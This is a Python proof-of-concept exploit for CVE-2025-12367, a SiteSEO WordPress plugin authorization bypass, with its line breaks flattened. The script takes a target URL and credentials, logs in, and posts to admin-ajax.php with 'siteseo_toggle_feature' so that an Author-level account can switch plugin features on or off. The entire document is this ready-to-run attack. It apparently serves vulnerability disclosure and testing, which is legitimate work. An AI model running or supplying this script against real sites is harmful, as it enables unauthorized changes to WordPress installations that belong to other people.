CVE-2025-12367

import requests import sys # CVE-2025-12367 PoC - SiteSEO Authorization Bypass # Authenticated users with Author+ role can enable/disable arbitrary SiteSEO features target_url = input("Enter target WordPress URL: ").rstrip('/') username = input("Enter username: ") password = input("Enter password: ") session = requests.Session() # Step 1: Login to WordPress login_url = f"{target_url}/wp-login.php" login_data = { 'log': username, 'pwd': password, 'wp-submit': 'Log In', 'redirect_to': f"{target_url}/wp-admin/" } print("[*] Attempting to login...") response = session.post(login_url, data=login_data, allow_redirects=True) if 'wordpress_logged_in' not in str(session.cookies) and 'error' in response.text.lower(): print("[-] Login failed!") sys.exit(1) print("[+] Login successful!") # Step 2: Exploit the authorization bypass # Enable arbitrary SiteSEO feature (e.g., enable 'titletag' feature) exploit_url = f"{target_url}/wp-admin/admin-ajax.php" exploit_data = { 'action': 'siteseo_toggle_feature', 'feature': 'titletag', # Can be any SiteSEO feature 'status': 'true' # Enable the feature } print("[*] Sending exploit request...") response = session.post(exploit_url, data=exploit_data) if response.status_code == 200: print("[+] Exploit sent! Feature may have been enabled.") print(f"[*] Response: {response.text}") else: print(f"[-] Exploit failed with status code: {response.status_code}")

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